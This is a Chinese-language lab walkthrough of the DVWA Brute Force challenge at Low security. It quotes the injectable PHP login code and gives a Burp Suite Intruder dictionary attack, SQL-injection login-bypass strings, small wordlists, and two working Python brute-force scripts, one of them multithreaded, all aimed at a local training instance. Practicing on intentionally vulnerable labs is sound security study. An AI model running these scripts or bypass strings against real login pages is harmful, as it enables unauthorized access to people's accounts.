DVWA-1.1 Brute Force(暴力破解)-Low
Low Level
开发人员完全没有使用任何防御方法,允许任何人登录任意账户,进行任意次数的尝试,对用户无任何影响。
关键代码
if( isset( $_GET[ 'Login' ] ) ) { $user = $_GET[ 'username' ]; $pass = $_GET[ 'password' ]; $pass = md5( $pass ); $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; }
可以看到,服务器只是验证了参数Login是否被设置(isset函数在php中用来检测变量是否设置,该函数返回的是布尔类型的值,即true/false),没有任何的防爆破机制,且对参数username、password没有做任何过滤,存在明显的sql注入漏洞。
漏洞利用
方法一 利用burpsuite进行爆破
1.抓包
2.ctrl+I将包复制到intruder模块,因为要对password参数进行爆破,所以在password参数的内容两边加$
3.选中Payloads,载入字典,点击Start attack进行爆破
4.最后,尝试在爆破结果中找到正确的密码,可以看到password的响应包长度(length)“与众不同”,可推测password为正确密码,手工验证登陆成功。
方法二 使用万能密钥 手工sql注入
1. Username: admin’ or ’1′=’1
Password:(空)
注入成功
2. Username: admin’ #
Password:(空)
注入成功
方法三 使用Python脚本爆破
脚本
# Author:Zheng Na import requests url = 'http://127.0.0.1/dvwa/vulnerabilities/brute/' headers = {"Cookie":"security=low; PHPSESSID=p38gtdeop18kcedkdhkh75ri45"} flag = False f1 = open("username.txt", 'r') for line1 in f1: username = line1.strip() f2 = open("password.txt", 'r') for line2 in f2: password=line2.strip() params = {'username': username, 'password': password, 'Login': 'login'} response = requests.get(url, params=params, headers=headers) if "Welcome to the password protected area" in response.text: print("\033[31;1musername:%s,password:%s----right account!\033[0m"%(username,password)) flag = True break else: print("username:%s,password:%s----wrong account!"%(username,password)) if flag == True: break f2.close() f1.close()
root
admin
administrator
111
222
333
444
555
password
bug
admin
root
hello
PS:
这里为什么不使用for line in f.readlines()?
因为使用readlines()时,内存会保存全部行,需要将全部行写入内存后再一行行地读,
当文件较大时,我们等待时间变长,并且内存也吃不消了
使用for line in f效率高,文件变成一个迭代器,读一行内存中删一行,内存中只保存一行,棒棒哒
方法四 使用Python多线程爆破
脚本
#Author:Zheng Na import threading import requests def connect(username,password): semaphore.acquire() url = 'http://127.0.0.1/dvwa/vulnerabilities/brute/' headers = {"Cookie":"security=low; PHPSESSID=p38gtdeop18kcedkdhkh75ri45"} params = {'username': username, 'password': password, 'Login': 'login'} response = requests.get(url, params=params, headers=headers) if "Welcome to the password protected area" in response.text: print("\033[31;1musername:%s,password:%s----right account!\033[0m" % (username, password)) else: print("username:%s,password:%s----wrong account!" % (username, password)) semaphore.release() semaphore = threading.BoundedSemaphore(50) # 生成信号量实例,最多允许50个线程同时运行 f1 = open("username.txt", 'r') for line1 in f1: username = line1.strip() f2 = open("password.txt", 'r') for line2 in f2: password=line2.strip() t = threading.Thread(target=connect, args=(username,password,),) t.start() f2.close() f1.close()
PS:这个脚本有一个问题,那就是必须把所有的username和password都试一遍,程序才会终止。有没有办法可以让程序在试出正确的username和password后立即终止呢?我没想出来,知道的小伙伴麻烦告诉我一下哈,不胜感激!